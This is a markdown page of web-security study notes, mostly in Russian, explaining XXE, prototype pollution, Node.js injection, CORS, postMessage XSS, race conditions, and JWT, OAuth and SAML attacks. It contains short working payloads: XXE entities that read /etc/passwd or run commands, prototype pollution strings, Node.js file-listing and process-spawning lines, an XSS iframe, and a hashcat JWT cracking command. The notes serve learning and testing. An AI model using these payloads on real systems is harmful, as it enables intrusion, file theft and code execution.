Skip to content

Latest commit

 

History

History
264 lines (205 loc) · 23.3 KB

WEB.md

File metadata and controls

264 lines (205 loc) · 23.3 KB

XXE:

Entities declaration: this type of entity declaration is called internal declaration as everything is defined inside the same document and nothing needs to be fetched externally.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student [
	<!ELEMENT student (#PCDATA)>
	<!ENTITY name "James Jones">
]>
<student>&name;</student>

External entities:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student [
	<!ELEMENT student (#PCDATA)>
	<!ENTITY sname SYSTEM "https://www.prakharprasad.com/external.xml">
]>
<student>&sname;</student>

Simple XXE attack: reading files.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student [
	<!ENTITY oops SYSTEM "file:///etc/passwd">
]>
<student>
	<name>&oops;</name>
</student>

Simple XXE attack: PHP Base64 conversion URI as an alternative. (php://filter/convert.base64-encode/resource=/file/to/read)

<!DOCTYPE student [
	<!ENTITY pwn SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
<student>
	<name>&pwn;</name>
</student>

RCE thtough XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
	<!ENTITY rce SYSTEM "expect://id">]>
<student>
	<name>&rce;</name>
</student>

Prototype Pollution:

Уязвимость JavaScript позволяющая атакующему модифицировать свойства объектов глобальных прототипов которые могут наследоваться пользоватеьским прототипом.
По-умолчанию JavaScript присваивает один из встроенных прототипов новому объекту:
- let myObj = {}; //Object.prototype
- let myString = ""; //String.prototype
- let myNumber = 1; //Number.prototype
- let myArray = []; //Array.prototype

Наследование прототипов:

  • Object.prototype
    • String.prototype
    • Number.prototype
    • Array.prototype
      • myObject
var book = {bookName: "Book name", authorName: "Author of book"};
console.log(book.toString())
//output: “[object Object]”

book.__proto__.toString = ()=>{alert("polluted")}
console.log(book.toString())
// alert box pops up: “polluted”

IMAGE: alert pops up with value “polluted”

Basic payload: __proto__.property=value OR __proto__[property]=value
Filter evasion: __pro__proto__to__.gadget=payload
JSON parse payload: {"__proto__":{"property":"value"}}

Additional resources:
https://www.mend.io/resources/blog/prototype-pollution-vulnerabilities/
https://guidesmiths.github.io/cybersecurity-handbook/attacks_explained/prototype_pollution
https://youtu.be/W9_x8pc_bh8
https://youtu.be/Z6CtDSx8C5k
https://portswigger.net/web-security/prototype-pollution/client-side
https://portswigger.net/web-security/prototype-pollution/server-side

MASS ASSIGNMENT ATTACK:

Additional information:
https://youtu.be/r1j0COUMTqw

ONLINE DECOMPILER:

https://dogbolt.org

JavaScript:

SSJI: JavaScript injection (Node.js)

  1. Listing directories and read files: response.end(require('fs').readdirSync('.').toString()
  2. Execute file on filesystem: require('child_process').spawn(filename);

Additional information:

  1. HTTP Networking: https://www.freecodecamp.org/news/http-full-course/

CORS

Basic Info:

#All domain are allowed
Access-Control-Allow-Origin: *

#Comma-separated list of domains
Access-Control-Allow-Origin: example.com, metrics.com

#Allow passing credenitals in the requests
Access-Control-Allow-Credentials: true

#Disallow passing in the requests
Access-Control-Allow-Credentials: false

Medium article: https://medium.com/r3d-buck3t/cross-origin-resource-sharing-cors-testing-guide-29616c225a0a

Dependency Confusion:

Tool for static checks: https://github.com/visma-prodsec/confused

postMessage XSS

Метод window.postMessage() безопасно обеспечивает кросс-доменную коммуникацию между объектами Window; например, между страницей и всплывающим окном, которое она породила, или между страницей и iframe, встроенным в нее. Обычно скриптам на разных страницах разрешается обращаться друг к другу тогда и только тогда, когда соблюдается SOP. SOP (Same Origin Policy) - "политика одинакового происхождения", предотвращает кросс-доменные атаки, блокируя чтение загружаемых ресурсов из другого источника. Источник идентифицируется по таким параметрам: схема, полное имя хоста, порт. Когда хотя бы один из параметров у источников не совпадает, обмен данными между ресурсами запрещается. CORS (Cross-Origin Resource Sharing) - механизм совместного использования ресурсов разными источниками. Он регламентирует три категории сетевого взаимодействия: 1. запись из разных источников (переадресации, отправки форм и переходы по ссылкам); 2. Вставка из разных источников, эта категория регламентирует элементы, загружаемые посредтвом тегов <link>, <script>, <img>, <video>, <audio>, <iframe>, и других; 3. Считывание из разных источников, эта категория регламентирует элементы, загружаемые через AJAX и fetch. Если на сайте корректно настроены механизмы безопасности SOP и CORS, использование postMessage будет единственным доступным способом передачи данных между документами на разных доменах. Запросы, созданне с помощью других методов (например, XMLHttpRequest или Fetch API), будут заблокированы в соответствии с SOP и CORS.

postMessage(message, targetOrigin, transfer);
message - отправляемые данные, эти данные автоматически сериализуются для передачи.
targetOrigin - источник родительского окна.
transfer - последовательность передаваемых объектов, которые передаются вместе с сообщением.

Связь между родительским и дочерним элементом: дочерний элемент должен быть подписан на событие "message":

window.addEventListener(
  "message",
  (event) => {
    if (event.origin !== "http://example.org:8080") return;

    // …
  },
  false,
);

Эксплуатация:
Если целевая страница обрабатывает входящие сообщения небезопасным образом (например, неверно проверяя источник входящих сообщений), то вызываемые слушателем события потенциально могут стать приемниками небезопасной нагрузки и источником XSS. Злоумышленник может поместить на своей странице вредоносный <iframe> и использовать метод postMessage() для передачи данных с помощью веб сообщения уязвимому слушателю событий. В дальнейшем слушатель передаст вредоносную нагрузку в приемник на дочерней странице.

Origin Verification отсутствует:

<script>
	window.addEventListener('message', function(e) {
		document.getElementById('qwe').innerHTML = e.data;
})
</script>

В этом случае эксплуатация уязвимости возможна с помощью <iframe>, помещенного на сервере атакующего, примерно с таким содержимым:
<iframe src="http://target.com/" onload="this.contentWindow.postMessage('<img src=1 onerror=alert`1`>', '*')">
В данном случае слушатель не проверяет источник, а метод postMessage указывает targetOrigin "*".

Если домен проверяет Origin c помощью методов startsWith(), endsWith(), indexOf() и других, то в таком случае можно попробовать обойти верификациюю Origin, например: normal-website.com можно будет обойти с помощью такого имени normal-website.com.attacker.com.

Уязвимый JSON parse.

Race Condition

Что это такое?
Уязвимость в ПО которая происходит когда разные потоки или процессы одновременно взаимодействуют с одними и теми же данными, в результате чего происходит «коллизия», вызывающая непредвиденное поведение приложения. Уязвимости race condition особенно распространены в многопоточных и распределенных системах.

Пример:
Допустим, у вас есть банковский счет с балансом 100 долларов, и два процесса одновременно пытаются снять с него деньги: процесс A хочет снять 50 долларов, а процесс B - 70 долларов.

Сценарий без уязвимости:

  • Процесс A снимает 50 долларов. Баланс становится 50 долларов.
  • Затем процесс B пытается снять 70 долларов, но обнаруживает, что на счете только 50 долларов. Операция отклоняется, и процесс B завершается с сообщением о недостаточности средств.

Сценарий с уязвимостью race condition:

  • Процессы A и B начинают работу одновременно.
  • Оба процесса сначала проверяют баланс: он равен 100 долларов.
  • Процесс A снимает 50 долларов и обновляет баланс до 50 долларов.
  • Процесс B также снимает 70 долларов, не учитывая изменения, внесенные процессом A. Баланс становится -20 долларов.
  • Теперь счет в несогласованном состоянии, и банк мог бы понести убытки, если бы допустил отрицательный баланс.

Tools:

  1. Turbo Intruder.
  2. "Send group in parallel" option in burp suite "Repeater".

JWT, OAuth, SAML

Аутентификация: процесс подтверждения личности пользователя (логин и пароль).
Авторизация: проверка уровня доступа и прав пользователя.
Типы авторизации:
1. DAC (Discretionary access control).
2. MAC (Mandatory access control).
3. RBAC (Role-based access control).
4. ABAC (Attribute-based access control).

JWT (JSON Web Token ) - это формат для передачи криптографически защищенных данных. JWT токен может использоваться для аутентификация, авторизация и обмен информацией без статических данных. JWT состоит из трёх частей:

  • Header
  • Payload
  • Signature

Additional information: https://fusionauth.io/articles/tokens/jwt-components-explained

JSON Web Signature (JWS): представляет собой содержимое, защищенное цифровыми подписями или кодами аутентификации сообщений (MACs), используя структуры данных на основе JSON.

JSON Web Encryption (JWE): представляет зашифрованное содержимое с использованием структур данных на основе JSON. Криптографические алгоритмы и идентификаторы, используемые в этой спецификации, описаны в отдельной спецификации JSON Web Algorithms (JWA), а также в реестрах IANA, определенных этой спецификацией.

JWT может использовать либо JSON Web Signature (JWS), либо JSON Web Encryption (JWE) для защиты данных, содержащихся в JWT, хотя на практике JWS гораздо чаще используется в веб-приложениях.

JSON Web Key: определяет структуру данных JSON для криптографических ключей. Параметр заголовка "jwk" (JSON Web Key) - это открытый ключ, который соответствует ключу, используемому для цифровой подписи JWS. "jwk" содержит информацию об открытом ключе, используемом для проверки ключа для асимметричных JWT.

JSON Web Algorithm: определяет криптографический алгоритм для JWTs.

JKU (JWK Set URL): это URI, который ссылается на ресурс, содержащий набор открытых ключей в кодировке JSON, один из которых соответствует ключу, используемому для цифровой подписи JWS. Ключи ДОЛЖНЫ быть закодированы как набор JWK. Протокол, используемый для получения ресурса, должен обеспечивать защиту целостности; HTTP GET-запрос для получения набора JWK должен использовать безопасность транспортного уровня (TLS), а идентификация сервера должна быть подтверждена в соответствии с [Раздел 6 RFC 6125]. Кроме того, требования к TLS см. в [Разделе 8]. Использование этого параметра заголовка является ОПЦИОНАЛЬНЫМ.

Атаки на JWT:

  • Отсутствие проверки цифровой подписи.
  • Использование алгоритма "none".
  • Brute-force signing secret. JWT поддерживает три симметричных алгоритма на основе потенциально догадываемых секретов: HS256, HS384 и HS512. Пример с использованием программы hashcat:
    hashcat -m 16500 jwt.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
  • Algorithm Confusion. Атака на JWT, которая заставляет веб-приложение использовать для проверки подписи JWT алгоритм, отличный от того, который использовался при ее создании. Поскольку веб-приложение использует открытый ключ для проверки, оно будет принимать любые симметричные JWT, подписанные этим ключом. Эта атака сработает только в том случае, если веб-приложение использует алгоритм, указанный в параметре "alg" загаловка JWT, для определения алгоритма проверки подписи. В частности, уязвимость можно предотвратить, настроив веб-приложение так, чтобы оно всегда использовало один и тот же алгоритм для проверки подписи. Например, путем жесткого кодирования алгоритма на RS256. Открытый ключ можно извлечь из сертификата приложения или получить из JWT токена с помощью программы rsa_sign2n (https://github.com/silentsignal/rsa_sign2n.git).
  • Атака на "jwk". Атака заключается в том, что атакующий генерирует закрытый и публичный ключи и использует их для генерации своей нагрузки. Пример:
    • Генерируем закрытый и открытый ключи.
    • Преобразуем открытый ключ в формат "jwk".
    • Правим payload и header JWT при этом используем новый "jwk".
    • Подписываем JWT закрытым ключем.
  • Атака на "jku". Процес эксплуатации подобен атаке на "jwk". Данные "jwk" хранятся не в нагрузке токена, а на удаленном хосте.

JWT attack tool: https://github.com/ticarpi/jwt_tool

OAuth: протокол открытого стандарта, который используется для авторизации. OAuth позволяет безопасно авторизовывать и делегировать доступ между различными веб-сервисами без передачи учетных данных пользователей. Он позволяет пользователям предоставлять ограниченный доступ третьим приложениям к ресурсам на других веб-сервисах, таким как аккаунты в социальных сетях или интернет-банкинг, не раскрывая свои пароли. OAuth работает через процессы аутентификации на основе токенов. Протокол используется в различных отраслях и стал стандартом "де-факто" для обеспечения безопасного доступа к API и авторизации в современных веб- и мобильных приложениях. OAuth - это стандарт, обеспечивающий безопасную авторизацию между сервисами. Дополнительные сведения: https://oauth.net/2/

Auth0 генерирует токены доступа для сценариев авторизации API в формате JSON web token (JWT). Разрешения, представленные токеном доступа, в терминах OAuth называются "scope". Когда приложение проходит аутентификацию в Auth0, оно указывает нужные ему "scope". Если эти "scope" разрешены пользователем, то маркер доступа будет представлять эти разрешенные "scope".

Дополнительная информация про OAuth: https://auth0.com/docs/authenticate/protocols/oauth#roles

Как работает Authorization Code Grant:

  • Нажимаем на кнопку входа с помощью Google или другого провайдера OAuth.
  • Выполняется переход на страницу гугла для разрешения получения подтверждения на права и доступ к данным пользователя приложения.
  • Сервер авторизации отвечает нам GET запросом с кодом авторизации.
  • Приложение обменивает код авторизации на токен доступа.
    Дополнительные сведения: https://developer.okta.com/blog/2018/04/10/oauth-authorization-code-grant-type

Как работает Implicit Grant:

  • Нажимаем на кнопку входа с помощью Google или другого провайдера OAuth.
  • Пользователь подтверждает запрос на доступ приложения к своим данным.
  • Пользователь перенаправляется обратно в приложение с токеном доступа во фрагменте URL.
    Дополнительные сведения: https://developer.okta.com/blog/2018/05/24/what-is-the-oauth2-implicit-grant-type

Атаки на OAuth:

  • Stealing Access Token (redirect_url parameter)
  • CSRF (improper "state" parameter validation)
  • XSS

SAML (Secure Assertion Markup Language): это открытый стандарт на основе XML для обмена данными аутентификации и авторизации между поставщиками идентификационных данных (IdP) и поставщиками услуг (SP). SAML обеспечивает единую регистрацию (SSO), позволяя пользователям получать доступ к различным приложениям и службам с помощью единого набора учетных данных. В рабочем процессе SAML, идентичность пользователя аутентифицируется "поставщиком идентификации (IdP)", который затем генерирует "assertion" с цифровой подписью, содержащее атрибуты и разрешения пользователя. Это "assertion" отправляется "поставщику услуг (SP)", который проверяет его и предоставляет соответствующий доступ. SAML широко используется в корпоративных средах и веб-приложениях для оптимизации процессов аутентификации и повышения безопасности с помощью стандартизированных протоколов и "assertions". Дополнительные сведения: https://wiki.oasis-open.org/security/FrontPage

Атаки на SAML:

  • Signature Exclusion Attack
  • Signature Wrapping Attack